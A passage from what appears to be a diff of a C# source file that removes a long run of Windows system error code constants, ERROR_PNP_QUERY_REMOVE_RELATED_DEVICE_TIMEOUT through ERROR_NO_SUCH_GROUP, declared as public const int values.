ERROR_PNP_QUERY_REMOVE_RELATED_DEVICE_TIMEOUT = 481; - public const int ERROR_PNP_QUERY_REMOVE_UNRELATED_DEVICE_TIMEOUT = 482; - public const int ERROR_DEVICE_HARDWARE_ERROR = 483; - public const int ERROR_INVALID_ADDRESS = 487; - public const int ERROR_VRF_CFG_ENABLED = 1183; - public const int ERROR_PARTITION_TERMINATING = 1184; - public const int ERROR_USER_PROFILE_LOAD = 500; - public const int ERROR_ARITHMETIC_OVERFLOW = 534; - public const int ERROR_PIPE_CONNECTED = 535; - public const int ERROR_PIPE_LISTENING = 536; - public const int ERROR_VERIFIER_STOP = 537; - public const int ERROR_ABIOS_ERROR = 538; - public const int ERROR_WX86_WARNING = 539; - public const int ERROR_WX86_ERROR = 540; - public const int ERROR_TIMER_NOT_CANCELED = 541; - public const int ERROR_UNWIND = 542; - public const int ERROR_BAD_STACK = 543; - public const int ERROR_INVALID_UNWIND_TARGET = 544; - public const int ERROR_INVALID_PORT_ATTRIBUTES = 545; - public const int ERROR_PORT_MESSAGE_TOO_LONG = 546; - public const int ERROR_INVALID_QUOTA_LOWER = 547; - public const int ERROR_DEVICE_ALREADY_ATTACHED = 548; - public const int ERROR_INSTRUCTION_MISALIGNMENT = 549; - public const int ERROR_PROFILING_NOT_STARTED = 550; - public const int ERROR_PROFILING_NOT_STOPPED = 551; - public const int ERROR_COULD_NOT_INTERPRET = 552; - public const int ERROR_PROFILING_AT_LIMIT = 553; - public const int ERROR_CANT_WAIT = 554; - public const int ERROR_CANT_TERMINATE_SELF = 555; - public const int ERROR_UNEXPECTED_MM_CREATE_ERR = 556; - public const int ERROR_UNEXPECTED_MM_MAP_ERROR = 557; - public const int ERROR_UNEXPECTED_MM_EXTEND_ERR = 558; - public const int ERROR_BAD_FUNCTION_TABLE = 559; - public const int ERROR_NO_GUID_TRANSLATION = 560; - public const int ERROR_INVALID_LDT_SIZE = 561; - public const int ERROR_INVALID_LDT_OFFSET = 563; - public const int ERROR_INVALID_LDT_DESCRIPTOR = 564; - public const int ERROR_TOO_MANY_THREADS = 565; - public const int ERROR_THREAD_NOT_IN_PROCESS = 566; - public const int ERROR_PAGEFILE_QUOTA_EXCEEDED = 567; - public const int ERROR_LOGON_SERVER_CONFLICT = 568; - public const int ERROR_SYNCHRONIZATION_REQUIRED = 569; - public const int ERROR_NET_OPEN_FAILED = 570; - public const int ERROR_IO_PRIVILEGE_FAILED = 571; - public const int ERROR_CONTROL_C_EXIT = 572; - public const int ERROR_MISSING_SYSTEMFILE = 573; - public const int ERROR_UNHANDLED_EXCEPTION = 574; - public const int ERROR_APP_INIT_FAILURE = 575; - public const int ERROR_PAGEFILE_CREATE_FAILED = 576; - public const int ERROR_INVALID_IMAGE_HASH = 577; - public const int ERROR_NO_PAGEFILE = 578; - public const int ERROR_ILLEGAL_FLOAT_CONTEXT = 579; - public const int ERROR_NO_EVENT_PAIR = 580; - public const int ERROR_DOMAIN_CTRLR_CONFIG_ERROR = 581; - public const int ERROR_ILLEGAL_CHARACTER = 582; - public const int ERROR_UNDEFINED_CHARACTER = 583; - public const int ERROR_FLOPPY_VOLUME = 584; - public const int ERROR_BIOS_FAILED_TO_CONNECT_INTERRUPT = 585; - public const int ERROR_BACKUP_CONTROLLER = 586; - public const int ERROR_MUTANT_LIMIT_EXCEEDED = 587; - public const int ERROR_FS_DRIVER_REQUIRED = 588; - public const int ERROR_CANNOT_LOAD_REGISTRY_FILE = 589; - public const int ERROR_DEBUG_ATTACH_FAILED = 590; - public const int ERROR_SYSTEM_PROCESS_TERMINATED = 591; - public const int ERROR_DATA_NOT_ACCEPTED = 592; - public const int ERROR_VDM_HARD_ERROR = 593; - public const int ERROR_DRIVER_CANCEL_TIMEOUT = 594; - public const int ERROR_REPLY_MESSAGE_MISMATCH = 595; - public const int ERROR_LOST_WRITEBEHIND_DATA = 596; - public const int ERROR_CLIENT_SERVER_PARAMETERS_INVALID = 597; - public const int ERROR_NOT_TINY_STREAM = 598; - public const int ERROR_STACK_OVERFLOW_READ = 599; - public const int ERROR_CONVERT_TO_LARGE = 600; - public const int ERROR_FOUND_OUT_OF_SCOPE = 601; - public const int ERROR_ALLOCATE_BUCKET = 602; - public const int ERROR_MARSHALL_OVERFLOW = 603; - public const int ERROR_INVALID_VARIANT = 604; - public const int ERROR_BAD_COMPRESSION_BUFFER = 605; - public const int ERROR_AUDIT_FAILED = 606; - public const int ERROR_TIMER_RESOLUTION_NOT_SET = 607; - public const int ERROR_INSUFFICIENT_LOGON_INFO = 608; - public const int ERROR_BAD_DLL_ENTRYPOINT = 609; - public const int ERROR_BAD_SERVICE_ENTRYPOINT = 610; - public const int ERROR_IP_ADDRESS_CONFLICT1 = 611; - public const int ERROR_IP_ADDRESS_CONFLICT2 = 612; - public const int ERROR_REGISTRY_QUOTA_LIMIT = 613; - public const int ERROR_NO_CALLBACK_ACTIVE = 614; - public const int ERROR_PWD_TOO_SHORT = 615; - public const int ERROR_PWD_TOO_RECENT = 616; - public const int ERROR_PWD_HISTORY_CONFLICT = 617; - public const int ERROR_UNSUPPORTED_COMPRESSION = 618; - public const int ERROR_INVALID_HW_PROFILE = 619; - public const int ERROR_INVALID_PLUGPLAY_DEVICE_PATH = 620; - public const int ERROR_QUOTA_LIST_INCONSISTENT = 621; - public const int ERROR_EVALUATION_EXPIRATION = 622; - public const int ERROR_ILLEGAL_DLL_RELOCATION = 623; - public const int ERROR_DLL_INIT_FAILED_LOGOFF = 624; - public const int ERROR_VALIDATE_CONTINUE = 625; - public const int ERROR_NO_MORE_MATCHES = 626; - public const int ERROR_RANGE_LIST_CONFLICT = 627; - public const int ERROR_SERVER_SID_MISMATCH = 628; - public const int ERROR_CANT_ENABLE_DENY_ONLY = 629; - public const int ERROR_FLOAT_MULTIPLE_FAULTS = 630; - public const int ERROR_FLOAT_MULTIPLE_TRAPS = 631; - public const int ERROR_NOINTERFACE = 632; - public const int ERROR_DRIVER_FAILED_SLEEP = 633; - public const int ERROR_CORRUPT_SYSTEM_FILE = 634; - public const int ERROR_COMMITMENT_MINIMUM = 635; - public const int ERROR_PNP_RESTART_ENUMERATION = 636; - public const int ERROR_SYSTEM_IMAGE_BAD_SIGNATURE = 637; - public const int ERROR_PNP_REBOOT_REQUIRED = 638; - public const int ERROR_INSUFFICIENT_POWER = 639; - public const int ERROR_MULTIPLE_FAULT_VIOLATION = 640; - public const int ERROR_SYSTEM_SHUTDOWN = 641; - public const int ERROR_PORT_NOT_SET = 642; - public const int ERROR_DS_VERSION_CHECK_FAILURE = 643; - public const int ERROR_RANGE_NOT_FOUND = 644; - public const int ERROR_NOT_SAFE_MODE_DRIVER = 646; - public const int ERROR_FAILED_DRIVER_ENTRY = 647; - public const int ERROR_DEVICE_ENUMERATION_ERROR = 648; - public const int ERROR_MOUNT_POINT_NOT_RESOLVED = 649; - public const int ERROR_INVALID_DEVICE_OBJECT_PARAMETER = 650; - public const int ERROR_MCA_OCCURED = 651; - public const int ERROR_DRIVER_DATABASE_ERROR = 652; - public const int ERROR_SYSTEM_HIVE_TOO_LARGE = 653; - public const int ERROR_DRIVER_FAILED_PRIOR_UNLOAD = 654; - public const int ERROR_VOLSNAP_PREPARE_HIBERNATE = 655; - public const int ERROR_HIBERNATION_FAILURE = 656; - public const int ERROR_PWD_TOO_LONG = 657; - public const int ERROR_FILE_SYSTEM_LIMITATION = 665; - public const int ERROR_ASSERTION_FAILURE = 668; - public const int ERROR_ACPI_ERROR = 669; - public const int ERROR_WOW_ASSERTION = 670; - public const int ERROR_PNP_BAD_MPS_TABLE = 671; - public const int ERROR_PNP_TRANSLATION_FAILED = 672; - public const int ERROR_PNP_IRQ_TRANSLATION_FAILED = 673; - public const int ERROR_PNP_INVALID_ID = 674; - public const int ERROR_WAKE_SYSTEM_DEBUGGER = 675; - public const int ERROR_HANDLES_CLOSED = 676; - public const int ERROR_EXTRANEOUS_INFORMATION = 677; - public const int ERROR_RXACT_COMMIT_NECESSARY = 678; - public const int ERROR_MEDIA_CHECK = 679; - public const int ERROR_GUID_SUBSTITUTION_MADE = 680; - public const int ERROR_STOPPED_ON_SYMLINK = 681; - public const int ERROR_LONGJUMP = 682; - public const int ERROR_PLUGPLAY_QUERY_VETOED = 683; - public const int ERROR_UNWIND_CONSOLIDATE = 684; - public const int ERROR_REGISTRY_HIVE_RECOVERED = 685; - public const int ERROR_DLL_MIGHT_BE_INSECURE = 686; - public const int ERROR_DLL_MIGHT_BE_INCOMPATIBLE = 687; - public const int ERROR_DBG_EXCEPTION_NOT_HANDLED = 688; - public const int ERROR_DBG_REPLY_LATER = 689; - public const int ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE = 690; - public const int ERROR_DBG_TERMINATE_THREAD = 691; - public const int ERROR_DBG_TERMINATE_PROCESS = 692; - public const int ERROR_DBG_CONTROL_C = 693; - public const int ERROR_DBG_PRINTEXCEPTION_C = 694; - public const int ERROR_DBG_RIPEXCEPTION = 695; - public const int ERROR_DBG_CONTROL_BREAK = 696; - public const int ERROR_DBG_COMMAND_EXCEPTION = 697; - public const int ERROR_OBJECT_NAME_EXISTS = 698; - public const int ERROR_THREAD_WAS_SUSPENDED = 699; - public const int ERROR_IMAGE_NOT_AT_BASE = 700; - public const int ERROR_RXACT_STATE_CREATED = 701; - public const int ERROR_SEGMENT_NOTIFICATION = 702; - public const int ERROR_BAD_CURRENT_DIRECTORY = 703; - public const int ERROR_FT_READ_RECOVERY_FROM_BACKUP = 704; - public const int ERROR_FT_WRITE_RECOVERY = 705; - public const int ERROR_IMAGE_MACHINE_TYPE_MISMATCH = 706; - public const int ERROR_RECEIVE_PARTIAL = 707; - public const int ERROR_RECEIVE_EXPEDITED = 708; - public const int ERROR_RECEIVE_PARTIAL_EXPEDITED = 709; - public const int ERROR_EVENT_DONE = 710; - public const int ERROR_EVENT_PENDING = 711; - public const int ERROR_CHECKING_FILE_SYSTEM = 712; - public const int ERROR_FATAL_APP_EXIT = 713; - public const int ERROR_PREDEFINED_HANDLE = 714; - public const int ERROR_WAS_UNLOCKED = 715; - public const int ERROR_SERVICE_NOTIFICATION = 716; - public const int ERROR_WAS_LOCKED = 717; - public const int ERROR_LOG_HARD_ERROR = 718; - public const int ERROR_ALREADY_WIN32 = 719; - public const int ERROR_IMAGE_MACHINE_TYPE_MISMATCH_EXE = 720; - public const int ERROR_NO_YIELD_PERFORMED = 721; - public const int ERROR_TIMER_RESUME_IGNORED = 722; - public const int ERROR_ARBITRATION_UNHANDLED = 723; - public const int ERROR_CARDBUS_NOT_SUPPORTED = 724; - public const int ERROR_MP_PROCESSOR_MISMATCH = 725; - public const int ERROR_HIBERNATED = 726; - public const int ERROR_RESUME_HIBERNATION = 727; - public const int ERROR_FIRMWARE_UPDATED = 728; - public const int ERROR_DRIVERS_LEAKING_LOCKED_PAGES = 729; - public const int ERROR_WAKE_SYSTEM = 730; - public const int ERROR_WAIT_1 = 731; - public const int ERROR_WAIT_2 = 732; - public const int ERROR_WAIT_3 = 733; - public const int ERROR_WAIT_63 = 734; - public const int ERROR_ABANDONED_WAIT_0 = 735; - public const int ERROR_ABANDONED_WAIT_63 = 736; - public const int ERROR_USER_APC = 737; - public const int ERROR_KERNEL_APC = 738; - public const int ERROR_ALERTED = 739; - public const int ERROR_ELEVATION_REQUIRED = 740; - public const int ERROR_REPARSE = 741; - public const int ERROR_OPLOCK_BREAK_IN_PROGRESS = 742; - public const int ERROR_VOLUME_MOUNTED = 743; - public const int ERROR_RXACT_COMMITTED = 744; - public const int ERROR_NOTIFY_CLEANUP = 745; - public const int ERROR_PRIMARY_TRANSPORT_CONNECT_FAILED = 746; - public const int ERROR_PAGE_FAULT_TRANSITION = 747; - public const int ERROR_PAGE_FAULT_DEMAND_ZERO = 748; - public const int ERROR_PAGE_FAULT_COPY_ON_WRITE = 749; - public const int ERROR_PAGE_FAULT_GUARD_PAGE = 750; - public const int ERROR_PAGE_FAULT_PAGING_FILE = 751; - public const int ERROR_CACHE_PAGE_LOCKED = 752; - public const int ERROR_CRASH_DUMP = 753; - public const int ERROR_BUFFER_ALL_ZEROS = 754; - public const int ERROR_REPARSE_OBJECT = 755; - public const int ERROR_RESOURCE_REQUIREMENTS_CHANGED = 756; - public const int ERROR_TRANSLATION_COMPLETE = 757; - public const int ERROR_NOTHING_TO_TERMINATE = 758; - public const int ERROR_PROCESS_NOT_IN_JOB = 759; - public const int ERROR_PROCESS_IN_JOB = 760; - public const int ERROR_VOLSNAP_HIBERNATE_READY = 761; - public const int ERROR_FSFILTER_OP_COMPLETED_SUCCESSFULLY = 762; - public const int ERROR_INTERRUPT_VECTOR_ALREADY_CONNECTED = 763; - public const int ERROR_INTERRUPT_STILL_CONNECTED = 764; - public const int ERROR_WAIT_FOR_OPLOCK = 765; - public const int ERROR_DBG_EXCEPTION_HANDLED = 766; - public const int ERROR_DBG_CONTINUE = 767; - public const int ERROR_CALLBACK_POP_STACK = 768; - public const int ERROR_COMPRESSION_DISABLED = 769; - public const int ERROR_CANTFETCHBACKWARDS = 770; - public const int ERROR_CANTSCROLLBACKWARDS = 771; - public const int ERROR_ROWSNOTRELEASED = 772; - public const int ERROR_BAD_ACCESSOR_FLAGS = 773; - public const int ERROR_ERRORS_ENCOUNTERED = 774; - public const int ERROR_NOT_CAPABLE = 775; - public const int ERROR_REQUEST_OUT_OF_SEQUENCE = 776; - public const int ERROR_VERSION_PARSE_ERROR = 777; - public const int ERROR_BADSTARTPOSITION = 778; - public const int ERROR_MEMORY_HARDWARE = 779; - public const int ERROR_DISK_REPAIR_DISABLED = 780; - public const int ERROR_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE = 781; - public const int ERROR_SYSTEM_POWERSTATE_TRANSITION = 782; - public const int ERROR_SYSTEM_POWERSTATE_COMPLEX_TRANSITION = 783; - public const int ERROR_MCA_EXCEPTION = 784; - public const int ERROR_ACCESS_AUDIT_BY_POLICY = 785; - public const int ERROR_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY = 786; - public const int ERROR_ABANDON_HIBERFILE = 787; - public const int ERROR_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED = 788; - public const int ERROR_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR = 789; - public const int ERROR_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR = 790; - public const int ERROR_BAD_MCFG_TABLE = 791; - public const int ERROR_DISK_REPAIR_REDIRECTED = 792; - public const int ERROR_DISK_REPAIR_UNSUCCESSFUL = 793; - public const int ERROR_CORRUPT_LOG_OVERFULL = 794; - public const int ERROR_CORRUPT_LOG_CORRUPTED = 795; - public const int ERROR_CORRUPT_LOG_UNAVAILABLE = 796; - public const int ERROR_CORRUPT_LOG_DELETED_FULL = 797; - public const int ERROR_CORRUPT_LOG_CLEARED = 798; - public const int ERROR_ORPHAN_NAME_EXHAUSTED = 799; - public const int ERROR_OPLOCK_SWITCHED_TO_NEW_HANDLE = 800; - public const int ERROR_CANNOT_GRANT_REQUESTED_OPLOCK = 801; - public const int ERROR_CANNOT_BREAK_OPLOCK = 802; - public const int ERROR_OPLOCK_HANDLE_CLOSED = 803; - public const int ERROR_NO_ACE_CONDITION = 804; - public const int ERROR_INVALID_ACE_CONDITION = 805; - public const int ERROR_FILE_HANDLE_REVOKED = 806; - public const int ERROR_IMAGE_AT_DIFFERENT_BASE = 807; - public const int ERROR_ENCRYPTED_IO_NOT_POSSIBLE = 808; - public const int ERROR_FILE_METADATA_OPTIMIZATION_IN_PROGRESS = 809; - public const int ERROR_QUOTA_ACTIVITY = 810; - public const int ERROR_HANDLE_REVOKED = 811; - public const int ERROR_CALLBACK_INVOKE_INLINE = 812; - public const int ERROR_CPU_SET_INVALID = 813; - public const int ERROR_ENCLAVE_NOT_TERMINATED = 814; - public const int ERROR_ENCLAVE_VIOLATION = 815; - public const int ERROR_EA_ACCESS_DENIED = 994; - public const int ERROR_OPERATION_ABORTED = 995; - public const int ERROR_IO_INCOMPLETE = 996; - public const int ERROR_IO_PENDING = 997; - public const int ERROR_NOACCESS = 998; - public const int ERROR_SWAPERROR = 999; - public const int ERROR_STACK_OVERFLOW = 1001; - public const int ERROR_INVALID_MESSAGE = 1002; - public const int ERROR_CAN_NOT_COMPLETE = 1003; - public const int ERROR_INVALID_FLAGS = 1004; - public const int ERROR_UNRECOGNIZED_VOLUME = 1005; - public const int ERROR_FILE_INVALID = 1006; - public const int ERROR_FULLSCREEN_MODE = 1007; - public const int ERROR_NO_TOKEN = 1008; - public const int ERROR_BADDB = 1009; - public const int ERROR_BADKEY = 1010; - public const int ERROR_CANTOPEN = 1011; - public const int ERROR_CANTREAD = 1012; - public const int ERROR_CANTWRITE = 1013; - public const int ERROR_REGISTRY_RECOVERED = 1014; - public const int ERROR_REGISTRY_CORRUPT = 1015; - public const int ERROR_REGISTRY_IO_FAILED = 1016; - public const int ERROR_NOT_REGISTRY_FILE = 1017; - public const int ERROR_KEY_DELETED = 1018; - public const int ERROR_NO_LOG_SPACE = 1019; - public const int ERROR_KEY_HAS_CHILDREN = 1020; - public const int ERROR_CHILD_MUST_BE_VOLATILE = 1021; - public const int ERROR_NOTIFY_ENUM_DIR = 1022; - public const int ERROR_DEPENDENT_SERVICES_RUNNING = 1051; - public const int ERROR_INVALID_SERVICE_CONTROL = 1052; - public const int ERROR_SERVICE_REQUEST_TIMEOUT = 1053; - public const int ERROR_SERVICE_NO_THREAD = 1054; - public const int ERROR_SERVICE_DATABASE_LOCKED = 1055; - public const int ERROR_SERVICE_ALREADY_RUNNING = 1056; - public const int ERROR_INVALID_SERVICE_ACCOUNT = 1057; - public const int ERROR_SERVICE_DISABLED = 1058; - public const int ERROR_CIRCULAR_DEPENDENCY = 1059; - public const int ERROR_SERVICE_DOES_NOT_EXIST = 1060; - public const int ERROR_SERVICE_CANNOT_ACCEPT_CTRL = 1061; - public const int ERROR_SERVICE_NOT_ACTIVE = 1062; - public const int ERROR_FAILED_SERVICE_CONTROLLER_CONNECT = 1063; - public const int ERROR_EXCEPTION_IN_SERVICE = 1064; - public const int ERROR_DATABASE_DOES_NOT_EXIST = 1065; - public const int ERROR_SERVICE_SPECIFIC_ERROR = 1066; - public const int ERROR_PROCESS_ABORTED = 1067; - public const int ERROR_SERVICE_DEPENDENCY_FAIL = 1068; - public const int ERROR_SERVICE_LOGON_FAILED = 1069; - public const int ERROR_SERVICE_START_HANG = 1070; - public const int ERROR_INVALID_SERVICE_LOCK = 1071; - public const int ERROR_SERVICE_MARKED_FOR_DELETE = 1072; - public const int ERROR_SERVICE_EXISTS = 1073; - public const int ERROR_ALREADY_RUNNING_LKG = 1074; - public const int ERROR_SERVICE_DEPENDENCY_DELETED = 1075; - public const int ERROR_BOOT_ALREADY_ACCEPTED = 1076; - public const int ERROR_SERVICE_NEVER_STARTED = 1077; - public const int ERROR_DUPLICATE_SERVICE_NAME = 1078; - public const int ERROR_DIFFERENT_SERVICE_ACCOUNT = 1079; - public const int ERROR_CANNOT_DETECT_DRIVER_FAILURE = 1080; - public const int ERROR_CANNOT_DETECT_PROCESS_ABORT = 1081; - public const int ERROR_NO_RECOVERY_PROGRAM = 1082; - public const int ERROR_SERVICE_NOT_IN_EXE = 1083; - public const int ERROR_NOT_SAFEBOOT_SERVICE = 1084; - public const int ERROR_END_OF_MEDIA = 1100; - public const int ERROR_FILEMARK_DETECTED = 1101; - public const int ERROR_BEGINNING_OF_MEDIA = 1102; - public const int ERROR_SETMARK_DETECTED = 1103; - public const int ERROR_NO_DATA_DETECTED = 1104; - public const int ERROR_PARTITION_FAILURE = 1105; - public const int ERROR_INVALID_BLOCK_LENGTH = 1106; - public const int ERROR_DEVICE_NOT_PARTITIONED = 1107; - public const int ERROR_UNABLE_TO_LOCK_MEDIA = 1108; - public const int ERROR_UNABLE_TO_UNLOAD_MEDIA = 1109; - public const int ERROR_MEDIA_CHANGED = 1110; - public const int ERROR_BUS_RESET = 1111; - public const int ERROR_NO_MEDIA_IN_DRIVE = 1112; - public const int ERROR_NO_UNICODE_TRANSLATION = 1113; - public const int ERROR_DLL_INIT_FAILED = 1114; - public const int ERROR_SHUTDOWN_IN_PROGRESS = 1115; - public const int ERROR_NO_SHUTDOWN_IN_PROGRESS = 1116; - public const int ERROR_IO_DEVICE = 1117; - public const int ERROR_SERIAL_NO_DEVICE = 1118; - public const int ERROR_IRQ_BUSY = 1119; - public const int ERROR_MORE_WRITES = 1120; - public const int ERROR_COUNTER_TIMEOUT = 1121; - public const int ERROR_FLOPPY_ID_MARK_NOT_FOUND = 1122; - public const int ERROR_FLOPPY_WRONG_CYLINDER = 1123; - public const int ERROR_FLOPPY_UNKNOWN_ERROR = 1124; - public const int ERROR_FLOPPY_BAD_REGISTERS = 1125; - public const int ERROR_DISK_RECALIBRATE_FAILED = 1126; - public const int ERROR_DISK_OPERATION_FAILED = 1127; - public const int ERROR_DISK_RESET_FAILED = 1128; - public const int ERROR_EOM_OVERFLOW = 1129; - public const int ERROR_NOT_ENOUGH_SERVER_MEMORY = 1130; - public const int ERROR_POSSIBLE_DEADLOCK = 1131; - public const int ERROR_MAPPED_ALIGNMENT = 1132; - public const int ERROR_SET_POWER_STATE_VETOED = 1140; - public const int ERROR_SET_POWER_STATE_FAILED = 1141; - public const int ERROR_TOO_MANY_LINKS = 1142; - public const int ERROR_OLD_WIN_VERSION = 1150; - public const int ERROR_APP_WRONG_OS = 1151; - public const int ERROR_SINGLE_INSTANCE_APP = 1152; - public const int ERROR_RMODE_APP = 1153; - public const int ERROR_INVALID_DLL = 1154; - public const int ERROR_NO_ASSOCIATION = 1155; - public const int ERROR_DDE_FAIL = 1156; - public const int ERROR_DLL_NOT_FOUND = 1157; - public const int ERROR_NO_MORE_USER_HANDLES = 1158; - public const int ERROR_MESSAGE_SYNC_ONLY = 1159; - public const int ERROR_SOURCE_ELEMENT_EMPTY = 1160; - public const int ERROR_DESTINATION_ELEMENT_FULL = 1161; - public const int ERROR_ILLEGAL_ELEMENT_ADDRESS = 1162; - public const int ERROR_MAGAZINE_NOT_PRESENT = 1163; - public const int ERROR_DEVICE_REINITIALIZATION_NEEDED = 1164; - public const int ERROR_DEVICE_REQUIRES_CLEANING = 1165; - public const int ERROR_DEVICE_DOOR_OPEN = 1166; - public const int ERROR_DEVICE_NOT_CONNECTED = 1167; - public const int ERROR_NOT_FOUND = 1168; - public const int ERROR_NO_MATCH = 1169; - public const int ERROR_SET_NOT_FOUND = 1170; - public const int ERROR_POINT_NOT_FOUND = 1171; - public const int ERROR_NO_TRACKING_SERVICE = 1172; - public const int ERROR_NO_VOLUME_ID = 1173; - public const int ERROR_UNABLE_TO_REMOVE_REPLACED = 1175; - public const int ERROR_UNABLE_TO_MOVE_REPLACEMENT = 1176; - public const int ERROR_UNABLE_TO_MOVE_REPLACEMENT_2 = 1177; - public const int ERROR_JOURNAL_DELETE_IN_PROGRESS = 1178; - public const int ERROR_JOURNAL_NOT_ACTIVE = 1179; - public const int ERROR_POTENTIAL_FILE_FOUND = 1180; - public const int ERROR_JOURNAL_ENTRY_DELETED = 1181; - public const int ERROR_SHUTDOWN_IS_SCHEDULED = 1190; - public const int ERROR_SHUTDOWN_USERS_LOGGED_ON = 1191; - public const int ERROR_BAD_DEVICE = 1200; - public const int ERROR_CONNECTION_UNAVAIL = 1201; - public const int ERROR_DEVICE_ALREADY_REMEMBERED = 1202; - public const int ERROR_NO_NET_OR_BAD_PATH = 1203; - public const int ERROR_BAD_PROVIDER = 1204; - public const int ERROR_CANNOT_OPEN_PROFILE = 1205; - public const int ERROR_BAD_PROFILE = 1206; - public const int ERROR_NOT_CONTAINER = 1207; - public const int ERROR_EXTENDED_ERROR = 1208; - public const int ERROR_INVALID_GROUPNAME = 1209; - public const int ERROR_INVALID_COMPUTERNAME = 1210; - public const int ERROR_INVALID_EVENTNAME = 1211; - public const int ERROR_INVALID_DOMAINNAME = 1212; - public const int ERROR_INVALID_SERVICENAME = 1213; - public const int ERROR_INVALID_NETNAME = 1214; - public const int ERROR_INVALID_SHARENAME = 1215; - public const int ERROR_INVALID_PASSWORDNAME = 1216; - public const int ERROR_INVALID_MESSAGENAME = 1217; - public const int ERROR_INVALID_MESSAGEDEST = 1218; - public const int ERROR_SESSION_CREDENTIAL_CONFLICT = 1219; - public const int ERROR_REMOTE_SESSION_LIMIT_EXCEEDED = 1220; - public const int ERROR_DUP_DOMAINNAME = 1221; - public const int ERROR_NO_NETWORK = 1222; - public const int ERROR_CANCELLED = 1223; - public const int ERROR_USER_MAPPED_FILE = 1224; - public const int ERROR_CONNECTION_REFUSED = 1225; - public const int ERROR_GRACEFUL_DISCONNECT = 1226; - public const int ERROR_ADDRESS_ALREADY_ASSOCIATED = 1227; - public const int ERROR_ADDRESS_NOT_ASSOCIATED = 1228; - public const int ERROR_CONNECTION_INVALID = 1229; - public const int ERROR_CONNECTION_ACTIVE = 1230; - public const int ERROR_NETWORK_UNREACHABLE = 1231; - public const int ERROR_HOST_UNREACHABLE = 1232; - public const int ERROR_PROTOCOL_UNREACHABLE = 1233; - public const int ERROR_PORT_UNREACHABLE = 1234; - public const int ERROR_REQUEST_ABORTED = 1235; - public const int ERROR_CONNECTION_ABORTED = 1236; - public const int ERROR_RETRY = 1237; - public const int ERROR_CONNECTION_COUNT_LIMIT = 1238; - public const int ERROR_LOGIN_TIME_RESTRICTION = 1239; - public const int ERROR_LOGIN_WKSTA_RESTRICTION = 1240; - public const int ERROR_INCORRECT_ADDRESS = 1241; - public const int ERROR_ALREADY_REGISTERED = 1242; - public const int ERROR_SERVICE_NOT_FOUND = 1243; - public const int ERROR_NOT_AUTHENTICATED = 1244; - public const int ERROR_NOT_LOGGED_ON = 1245; - public const int ERROR_CONTINUE = 1246; - public const int ERROR_ALREADY_INITIALIZED = 1247; - public const int ERROR_NO_MORE_DEVICES = 1248; - public const int ERROR_NO_SUCH_SITE = 1249; - public const int ERROR_DOMAIN_CONTROLLER_EXISTS = 1250; - public const int ERROR_ONLY_IF_CONNECTED = 1251; - public const int ERROR_OVERRIDE_NOCHANGES = 1252; - public const int ERROR_BAD_USER_PROFILE = 1253; - public const int ERROR_NOT_SUPPORTED_ON_SBS = 1254; - public const int ERROR_SERVER_SHUTDOWN_IN_PROGRESS = 1255; - public const int ERROR_HOST_DOWN = 1256; - public const int ERROR_NON_ACCOUNT_SID = 1257; - public const int ERROR_NON_DOMAIN_SID = 1258; - public const int ERROR_APPHELP_BLOCK = 1259; - public const int ERROR_ACCESS_DISABLED_BY_POLICY = 1260; - public const int ERROR_REG_NAT_CONSUMPTION = 1261; - public const int ERROR_CSCSHARE_OFFLINE = 1262; - public const int ERROR_PKINIT_FAILURE = 1263; - public const int ERROR_SMARTCARD_SUBSYSTEM_FAILURE = 1264; - public const int ERROR_DOWNGRADE_DETECTED = 1265; - public const int ERROR_MACHINE_LOCKED = 1271; - public const int ERROR_SMB_GUEST_LOGON_BLOCKED = 1272; - public const int ERROR_CALLBACK_SUPPLIED_INVALID_DATA = 1273; - public const int ERROR_SYNC_FOREGROUND_REFRESH_REQUIRED = 1274; - public const int ERROR_DRIVER_BLOCKED = 1275; - public const int ERROR_INVALID_IMPORT_OF_NON_DLL = 1276; - public const int ERROR_ACCESS_DISABLED_WEBBLADE = 1277; - public const int ERROR_ACCESS_DISABLED_WEBBLADE_TAMPER = 1278; - public const int ERROR_RECOVERY_FAILURE = 1279; - public const int ERROR_ALREADY_FIBER = 1280; - public const int ERROR_ALREADY_THREAD = 1281; - public const int ERROR_STACK_BUFFER_OVERRUN = 1282; - public const int ERROR_PARAMETER_QUOTA_EXCEEDED = 1283; - public const int ERROR_DEBUGGER_INACTIVE = 1284; - public const int ERROR_DELAY_LOAD_FAILED = 1285; - public const int ERROR_VDM_DISALLOWED = 1286; - public const int ERROR_UNIDENTIFIED_ERROR = 1287; - public const int ERROR_INVALID_CRUNTIME_PARAMETER = 1288; - public const int ERROR_BEYOND_VDL = 1289; - public const int ERROR_INCOMPATIBLE_SERVICE_SID_TYPE = 1290; - public const int ERROR_DRIVER_PROCESS_TERMINATED = 1291; - public const int ERROR_IMPLEMENTATION_LIMIT = 1292; - public const int ERROR_PROCESS_IS_PROTECTED = 1293; - public const int ERROR_SERVICE_NOTIFY_CLIENT_LAGGING = 1294; - public const int ERROR_DISK_QUOTA_EXCEEDED = 1295; - public const int ERROR_CONTENT_BLOCKED = 1296; - public const int ERROR_INCOMPATIBLE_SERVICE_PRIVILEGE = 1297; - public const int ERROR_APP_HANG = 1298; - public const int ERROR_INVALID_LABEL = 1299; - public const int ERROR_NOT_ALL_ASSIGNED = 1300; - public const int ERROR_SOME_NOT_MAPPED = 1301; - public const int ERROR_NO_QUOTAS_FOR_ACCOUNT = 1302; - public const int ERROR_LOCAL_USER_SESSION_KEY = 1303; - public const int ERROR_NULL_LM_PASSWORD = 1304; - public const int ERROR_UNKNOWN_REVISION = 1305; - public const int ERROR_REVISION_MISMATCH = 1306; - public const int ERROR_INVALID_OWNER = 1307; - public const int ERROR_INVALID_PRIMARY_GROUP = 1308; - public const int ERROR_NO_IMPERSONATION_TOKEN = 1309; - public const int ERROR_CANT_DISABLE_MANDATORY = 1310; - public const int ERROR_NO_LOGON_SERVERS = 1311; - public const int ERROR_NO_SUCH_LOGON_SESSION = 1312; - public const int ERROR_NO_SUCH_PRIVILEGE = 1313; - public const int ERROR_PRIVILEGE_NOT_HELD = 1314; - public const int ERROR_INVALID_ACCOUNT_NAME = 1315; - public const int ERROR_USER_EXISTS = 1316; - public const int ERROR_NO_SUCH_USER = 1317; - public const int ERROR_GROUP_EXISTS = 1318; - public const int ERROR_NO_SUCH_GROUP = 1319; - public const int 